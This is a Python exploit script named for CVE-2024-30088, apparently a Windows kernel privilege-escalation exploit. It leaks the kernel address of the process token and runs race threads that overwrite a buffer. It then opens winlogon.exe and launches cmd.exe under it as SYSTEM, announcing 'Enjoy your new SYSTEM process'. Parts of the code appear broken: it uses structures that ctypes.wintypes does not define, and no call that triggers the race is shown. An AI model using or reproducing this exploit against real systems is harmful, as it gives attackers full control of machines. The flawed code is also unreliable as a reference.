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Copy pathCVE-2024-30088.py
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CVE-2024-30088.py
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import ctypes
import ctypes.wintypes as wintypes
import threading
import time
TOKEN_ALL_ACCESS = 0xF01FF
PROCESS_ALL_ACCESS = 0x1F0FFF
THREAD_PRIORITY_TIME_CRITICAL = 15
SystemExtendedHandleInformation = 64
MEM_COMMIT = 0x1000
PAGE_READWRITE = 0x04
EXTENDED_STARTUPINFO_PRESENT = 0x00080000
CREATE_NEW_CONSOLE = 0x00000010
class SYSTEM_HANDLE(ctypes.Structure):
_fields_ = [("Object", ctypes.c_void_p),
("UniqueProcessId", wintypes.HANDLE),
("HandleValue", wintypes.HANDLE),
("GrantedAccess", wintypes.ULONG),
("CreatorBackTraceIndex", wintypes.USHORT),
("ObjectTypeIndex", wintypes.USHORT),
("HandleAttributes", wintypes.ULONG),
("Reserved", wintypes.ULONG)]
class SYSTEM_HANDLE_INFORMATION_EX(ctypes.Structure):
_fields_ = [("HandleCount", ctypes.c_ulonglong),
("Reserved", ctypes.c_ulonglong),
("Handles", SYSTEM_HANDLE * 1)]
class STARTUPINFOEXA(ctypes.Structure):
_fields_ = [("StartupInfo", wintypes.STARTUPINFOA),
("lpAttributeList", ctypes.c_void_p)]
ntdll = ctypes.WinDLL("ntdll")
kernel32 = ctypes.WinDLL("kernel32")
advapi32 = ctypes.WinDLL("advapi32")
NtQuerySystemInformation = ntdll.NtQuerySystemInformation
NtQuerySystemInformation.argtypes = [ctypes.c_int, ctypes.c_void_p, ctypes.c_ulong, ctypes.POINTER(ctypes.c_ulong)]
NtQuerySystemInformation.restype = ctypes.c_ulong
OpenProcessToken = advapi32.OpenProcessToken
OpenProcessToken.argtypes = [wintypes.HANDLE, wintypes.DWORD, ctypes.POINTER(wintypes.HANDLE)]
OpenProcessToken.restype = wintypes.BOOL
GetCurrentProcess = kernel32.GetCurrentProcess
GetCurrentProcess.argtypes = []
GetCurrentProcess.restype = wintypes.HANDLE
VirtualAlloc = kernel32.VirtualAlloc
VirtualAlloc.argtypes = [ctypes.c_void_p, ctypes.c_size_t, ctypes.c_ulong, ctypes.c_ulong]
VirtualAlloc.restype = ctypes.c_void_p
CreateToolhelp32Snapshot = kernel32.CreateToolhelp32Snapshot
CreateToolhelp32Snapshot.argtypes = [wintypes.DWORD, wintypes.DWORD]
CreateToolhelp32Snapshot.restype = wintypes.HANDLE
Process32First = kernel32.Process32FirstW
Process32First.argtypes = [wintypes.HANDLE, ctypes.POINTER(wintypes.PROCESSENTRY32W)]
Process32First.restype = wintypes.BOOL
Process32Next = kernel32.Process32NextW
Process32Next.argtypes = [wintypes.HANDLE, ctypes.POINTER(wintypes.PROCESSENTRY32W)]
Process32Next.restype = wintypes.BOOL
CreateProcessA = kernel32.CreateProcessA
CreateProcessA.argtypes = [wintypes.LPCSTR, wintypes.LPSTR, ctypes.c_void_p, ctypes.c_void_p, wintypes.BOOL, wintypes.DWORD, ctypes.c_void_p, wintypes.LPCSTR, ctypes.POINTER(wintypes.STARTUPINFOA), ctypes.POINTER(wintypes.PROCESS_INFORMATION)]
CreateProcessA.restype = wintypes.BOOL
InitializeProcThreadAttributeList = kernel32.InitializeProcThreadAttributeList
InitializeProcThreadAttributeList.argtypes = [ctypes.c_void_p, ctypes.c_ulong, ctypes.c_ulong, ctypes.POINTER(ctypes.c_size_t)]
InitializeProcThreadAttributeList.restype = wintypes.BOOL
UpdateProcThreadAttribute = kernel32.UpdateProcThreadAttribute
UpdateProcThreadAttribute.argtypes = [ctypes.c_void_p, ctypes.c_ulong, ctypes.c_ulong, ctypes.c_void_p, ctypes.c_size_t, ctypes.c_void_p, ctypes.c_void_p]
UpdateProcThreadAttribute.restype = wintypes.BOOL
HeapAlloc = kernel32.HeapAlloc
HeapAlloc.argtypes = [wintypes.HANDLE, wintypes.DWORD, ctypes.c_size_t]
HeapAlloc.restype = ctypes.c_void_p
GetProcessHeap = kernel32.GetProcessHeap
GetProcessHeap.argtypes = []
GetProcessHeap.restype = wintypes.HANDLE
def GetKernelPointerByHandle(handle):
len_info = 20
status = 0xC0000004
handle_info = None
while status == 0xC0000004:
len_info *= 2
handle_info = ctypes.cast(ctypes.create_string_buffer(len_info), ctypes.POINTER(SYSTEM_HANDLE_INFORMATION_EX))
status = NtQuerySystemInformation(SystemExtendedHandleInformation, handle_info, len_info, ctypes.byref(ctypes.c_ulong()))
if status != 0x0:
print("NtQuerySystemInformation failed with error code 0x{:X}".format(status))
return None
current_pid = kernel32.GetCurrentProcessId()
for i in range(handle_info.contents.HandleCount):
if handle_info.contents.Handles[i].UniqueProcessId == current_pid and handle_info.contents.Handles[i].HandleValue == handle:
print("Found object!")
return handle_info.contents.Handles[i].Object
return None
def GetPidByName(procname):
entry = wintypes.PROCESSENTRY32W()
entry.dwSize = ctypes.sizeof(wintypes.PROCESSENTRY32W)
snapshot = CreateToolhelp32Snapshot(0x00000002, 0)
if snapshot == wintypes.INVALID_HANDLE_VALUE:
return None
if not Process32First(snapshot, ctypes.byref(entry)):
kernel32.CloseHandle(snapshot)
return None
while Process32Next(snapshot, ctypes.byref(entry)):
if entry.szExeFile == procname:
kernel32.CloseHandle(snapshot)
return entry.th32ProcessID
kernel32.CloseHandle(snapshot)
return None
def CreateProcessFromHandle(handle, command):
si = STARTUPINFOEXA()
pi = wintypes.PROCESS_INFORMATION()
size = ctypes.c_size_t()
InitializeProcThreadAttributeList(None, 1, 0, ctypes.byref(size))
si.lpAttributeList = HeapAlloc(GetProcessHeap(), 0, size.value)
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, ctypes.byref(size))
UpdateProcThreadAttribute(si.lpAttributeList, 0, 0x00020000, ctypes.byref(handle), ctypes.sizeof(handle), None, None)
si.StartupInfo.cb = ctypes.sizeof(STARTUPINFOEXA)
ret = CreateProcessA(None, command, None, None, True, EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE, None, None, ctypes.byref(si.StartupInfo), ctypes.byref(pi))
if not ret:
print("Error creating new process ({})".format(kernel32.GetLastError()))
return 3
print("Enjoy your new SYSTEM process")
return 0
def race_thread():
global kTokenAddr, RaceAddr
value = kTokenAddr + 0x40 - 4
for _ in range(0x10000):
ctypes.memmove(RaceAddr + 2, ctypes.c_ushort(2), 2)
ctypes.memmove(RaceAddr + 8, ctypes.c_ulonglong(value), 8)
if __name__ == "__main__":
hToken = wintypes.HANDLE()
if not OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, ctypes.byref(hToken)):
print("OpenProcessToken() failed.")
exit(1)
kTokenAddr = GetKernelPointerByHandle(hToken)
if not kTokenAddr:
print("GetKernelPointerByHandle() failed.")
exit(1)
print("hToken: {}, kTokenAddr: {}".format(hToken, kTokenAddr))
TokenInfo = VirtualAlloc(None, 0x1000, MEM_COMMIT, PAGE_READWRITE)
if not TokenInfo:
print("VirtualAlloc() failed.")
exit(1)
RaceAddr = TokenInfo + 0x200
thread1 = threading.Thread(target=race_thread)
thread2 = threading.Thread(target=race_thread)
thread1.start()
thread2.start()
time.sleep(1)
pid = GetPidByName("winlogon.exe")
if not pid:
print("GetPidByName() failed.")
exit(1)
hWinLogon = wintypes.HANDLE()
while not hWinLogon:
hWinLogon = kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, pid)
print("Got Winlogon handle: {}".format(hWinLogon))
CreateProcessFromHandle(hWinLogon, b"C:\\Windows\\system32\\cmd.exe")